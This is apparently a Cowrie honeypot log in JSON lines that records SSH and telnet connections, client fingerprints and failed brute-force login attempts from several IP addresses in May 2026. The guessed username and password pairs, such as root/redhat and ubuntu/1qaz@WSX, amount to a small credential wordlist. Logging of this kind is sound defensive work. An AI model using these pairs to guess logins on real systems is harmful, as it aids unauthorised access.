{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56434,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ac552272c0","protocol":"ssh","message":"New connection: 45.156.87.204:56434 (159.203.135.109:22) [session: 67ac552272c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:50.987108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:50.991821Z","src_ip":"45.156.87.204","session":"67ac552272c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:51.074792Z","src_ip":"45.156.87.204","session":"67ac552272c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:51.321002Z","src_ip":"45.156.87.204","session":"67ac552272c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:52.406619Z","src_ip":"45.156.87.204","session":"67ac552272c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48960,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ecde665e52f","protocol":"ssh","message":"New connection: 45.156.87.204:48960 (159.203.135.109:22) [session: 4ecde665e52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:54.469278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:54.473701Z","src_ip":"45.156.87.204","session":"4ecde665e52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:54.555758Z","src_ip":"45.156.87.204","session":"4ecde665e52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36194,"dst_ip":"10.17.0.5","dst_port":23,"session":"221f182a88d8","protocol":"telnet","message":"New connection: 152.42.224.71:36194 (10.17.0.5:23) [session: 221f182a88d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:54.678954Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:54.803001Z","src_ip":"45.156.87.204","session":"4ecde665e52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b536dd2f6ae","protocol":"telnet","message":"New connection: 152.42.224.71:36206 (10.17.0.5:23) [session: 8b536dd2f6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:55.695372Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:56.044659Z","src_ip":"45.156.87.204","session":"4ecde665e52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48964,"dst_ip":"159.203.135.109","dst_port":22,"session":"8317b5ce98fc","protocol":"ssh","message":"New connection: 45.156.87.204:48964 (159.203.135.109:22) [session: 8317b5ce98fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:57.901667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:57.911262Z","src_ip":"45.156.87.204","session":"8317b5ce98fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:57.994107Z","src_ip":"45.156.87.204","session":"8317b5ce98fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42470,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d20b5295dd","protocol":"telnet","message":"New connection: 152.42.224.71:42470 (10.17.0.5:23) [session: 51d20b5295dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:58.218072Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:58.244479Z","src_ip":"45.156.87.204","session":"8317b5ce98fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:59.331093Z","src_ip":"45.156.87.204","session":"8317b5ce98fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48974,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f25974a8813","protocol":"ssh","message":"New connection: 45.156.87.204:48974 (159.203.135.109:22) [session: 3f25974a8813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:01.231246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:01.242188Z","src_ip":"45.156.87.204","session":"3f25974a8813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:01.326519Z","src_ip":"45.156.87.204","session":"3f25974a8813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:01.927899Z","src_ip":"45.156.87.204","session":"3f25974a8813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:03.015154Z","src_ip":"45.156.87.204","session":"3f25974a8813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":33594,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec4108fd3f4d","protocol":"ssh","message":"New connection: 119.28.114.76:33594 (159.203.135.109:22) [session: ec4108fd3f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:03.227444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:03.234131Z","src_ip":"119.28.114.76","session":"ec4108fd3f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:03.474676Z","src_ip":"119.28.114.76","session":"ec4108fd3f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42472,"dst_ip":"10.17.0.5","dst_port":23,"session":"714eab724d2f","protocol":"telnet","message":"New connection: 152.42.224.71:42472 (10.17.0.5:23) [session: 714eab724d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:03.993876Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"finger","message":"login attempt [root/finger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:04.455592Z","src_ip":"119.28.114.76","session":"ec4108fd3f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.537017107009888,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:04.755000Z","src_ip":"152.42.224.71","session":"51d20b5295dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44136,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4d81c59ee4","protocol":"ssh","message":"New connection: 45.156.87.204:44136 (159.203.135.109:22) [session: 8d4d81c59ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:05.134330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:05.140013Z","src_ip":"45.156.87.204","session":"8d4d81c59ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:05.224397Z","src_ip":"45.156.87.204","session":"8d4d81c59ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:05.487704Z","src_ip":"45.156.87.204","session":"8d4d81c59ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:05.701369Z","src_ip":"119.28.114.76","session":"ec4108fd3f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:06.572632Z","src_ip":"45.156.87.204","session":"8d4d81c59ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.88672614097595,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:07.149558Z","src_ip":"152.42.224.71","session":"8f142899643e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"826d620358af","protocol":"ssh","message":"New connection: 45.156.87.204:44146 (159.203.135.109:22) [session: 826d620358af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.610928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.615558Z","src_ip":"45.156.87.204","session":"826d620358af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.699457Z","src_ip":"45.156.87.204","session":"826d620358af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":54038,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0a26dacb040","protocol":"ssh","message":"New connection: 124.155.125.131:54038 (159.203.135.109:22) [session: d0a26dacb040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.909973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.914878Z","src_ip":"124.155.125.131","session":"d0a26dacb040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:08.955122Z","src_ip":"45.156.87.204","session":"826d620358af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:09.087940Z","src_ip":"124.155.125.131","session":"d0a26dacb040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kv123456","message":"login attempt [root/Kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:09.809609Z","src_ip":"124.155.125.131","session":"d0a26dacb040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:10.041502Z","src_ip":"45.156.87.204","session":"826d620358af","protocol":"ssh"}
